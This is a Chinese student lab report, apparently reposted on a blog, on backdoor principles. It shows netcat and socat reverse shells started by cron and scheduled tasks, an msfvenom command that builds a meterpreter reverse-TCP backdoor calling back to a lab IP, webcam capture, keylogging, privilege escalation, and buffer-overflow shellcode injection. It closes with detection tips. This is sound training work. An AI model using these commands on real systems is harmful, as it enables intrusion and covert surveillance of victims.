• 20192424王昭云后门原理与实践实验报告


    20192424王昭云实验二

    实验内容

    任务一:使用netcat获取主机操作Shell,cron启动

    • 首先获取windowsIP
    • q7KHeO.png
    • 然后获取ubuntu的IP
    • q7KjfA.png
    • 配置cron,设置16分钟进行反向连接windows
    • q7MpOf.png
    • 由于cron执行失败,我单独执行反连接发现nc不支持-e命令,经过不断的上网查证发现nc官网下载的和本地默认的都是自动模式,此模式不支持-e,于是如上图,我改成了手工模式,并且反弹连接成功。下图是修改模式截图:
    • q7Mm60.png
    • Cron自动进入,如图:
    • q7ManK.png

    任务二:使用socat获取主机操作Shell, 任务计划启动

    • ubuntu中下载并执行socat
    • q7MLuV.png
    • windows中设置任务自启动计划,如图
    • q7Q3b8.png
    • 任务自动运行后出现如下报错,不过不影响获得windows的shell,如下图:
    • q7QNCj.md.png
    • q7QhKx.png

    任务三:使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

    • 下载安装msf之类的软件,我因为github部分网页被墙,去官网下载了deb包自己安装的。接下来msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.189.132 LPORT=1314 -f exe > 20192424_backdoor.exe生成后门程序:
    • q7lsyt.png
    • 参数说明:
      -p 使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode.
      -x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。
      -e 使用的编码器,用于对shellcode变形,为了免杀。
      -i 编码器的迭代次数。如上即使用该编码器编码5次。
      -b badchar是payload中需要去除的字符。 LHOST 是反弹回连的IP LPORT 是回连的端口
      -f 生成文件的类型
    • 在Windows下执行ncat -l 1314 > 20181314_backdoor.exe,这样被控主机就进入了接收文件模式:
    • q7lOkF.md.png
    • 可以看到后门程序已经传过来了
    • q7lxp9.md.png
    • 进入msfconsole
    • q71Cm6.png
    • 成功通过后门程序获得shell:
    • q71Ate.md.png
    • q71nXt.md.png

    任务四:使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

    • 使用webcam_snap进行拍照
    • q73Cgs.md.png
    • q73e5F.md.png
    • 使用keyscan_start指令开始记录下击键的过程,使用keyscan_dump指令读取击键的记录
    • q73Brt.md.png
    • 使用screenshot指令可以进行截屏,效果如下:
    • q735q0.md.png
    • 先使用getuid指令查看当前用户,使用getsystem指令进行提权
    • q78meP.md.png

    任务五:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell(1分)加分内容一并写入本实验报告。

    • 做好环境配置,使用echo "0" > /proc/sys/kernel/randomize_va_space关闭地址随机化
    • q78dFU.png
    • 查看靶机版本
    • q785SH.png
    • 修改图中code为ubuntu的IP地址对应192.168.189.132
    • q78zlj.png
    • 修改端口号为0522h对应1314
    • q7GP00.md.png
    • 打开一个终端使用(cat input_shellcode;cat) | ./pwn1注入这段攻击buf
      再开另外一个终端,用gdb来调试pwn1这个进程。输入ps -ef | grep pwn1找到pwn1的进程号
      之后启动gdb使用attach调试这个进程。使用disassemble foo查看到ret的地址
    • q7GAtU.md.png
    • q7GQ76.md.png
    • 设置断点
    • q7GBAf.md.png
    • 找到被覆盖的eip
    • q7Ggjs.md.png
    • 计算得到FFFFD090
    • q7Gbv9.png
    • 在shellocode中添加ret地址
    • q7BNin.png
    • 然后启动msfconsole,运行pwn1,管道输入shellcode
    • q7BBsU.md.png
    • 实验暂时失败,失败结果如下:
    • q7BWz6.png
    • 失败原因在于payload识别不出来:
    • q7Boee.png
    • 通过msfvonom -l payloads>payloadsshow | vim payloadsshow查看支持的payloads种类
    • q7Bvy8.md.png
    • 尝试使用回环地址,生成新的shellcode:
    • q7DMk9.png
    • 尝试新的payloads
    • q7D8l6.md.png
    • Msfconsole中没有任何反应,根据wireshark抓包猜测结果:
    • q7DDpt.md.png
    • 可见,后门程序先在4444端口发送了连接请求,msf的端口也收到了该请求,然后进行了回复,回复包如下:
    • q7Dfts.md.png
    • 到现在可以知道shellcode注入没有技术问题,恶意代码是可以正常执行的,恶意代码中的反弹连接请求也能发送,那么问题应该在于payload的版本。
      Kali中的gdb调试截图
    • q7Dq74.md.png
    • Shellcode注入截图
    • q7DXN9.md.png
    • 以下是kali版本同一个payload成功截图
    • q7rSc6.md.png

    基础问题回答

    例举你能想到的一个后门进入到你系统中的可能方式?

    • 通过修改PE,ELF文件中的导入表等等在我们下载的程序中插入后门。
    • 通过XSS攻击让浏览器自动下载后门程序

    例举你知道的后门如何启动起来(win及linux)的方式?

    • windows通过任务计划
    • linux中用cron
    • 修改注册表开机自启动
    • shellcode通过缓冲区溢出等方式启动
    • 访问带有恶意代码的bmp图片

    Meterpreter有哪些给你映像深刻的功能?

    • 能自动生成exe,raw,c等格式对应不同系统不同功能不同语言的漏洞,实现了漏洞的DIY
    • 对后门程序的封装很好,操作简单,比如通过后台截屏摄像等等

    如何发现自己有系统有没有被安装后门?

    • 检查下载的文件的hash,与官网的hash对比
    • 检查流量是否异常
    • 检查注册表
    • 检查是否有异常端口使用
  • 相关阅读:
    aa
    MySQL5.8下载及安装——免安装版
    eclipse中修改项目名
    利用kibana学习 elasticsearch restful api (DSL)
    https://www.cnblogs.com/shwee/p/9084535.html
    springboot+mybatis实现动态切换数据源
    docker-machine命令安装
    Docker 安装 RabbitMq
    yum 找不到程序,yum更换国内阿里源
    CentOS安装etcd和flannel实现Docker跨物理机通信
  • 原文地址:https://www.cnblogs.com/dkyGreen/p/16096702.html
Copyright © 2020-2023  润新知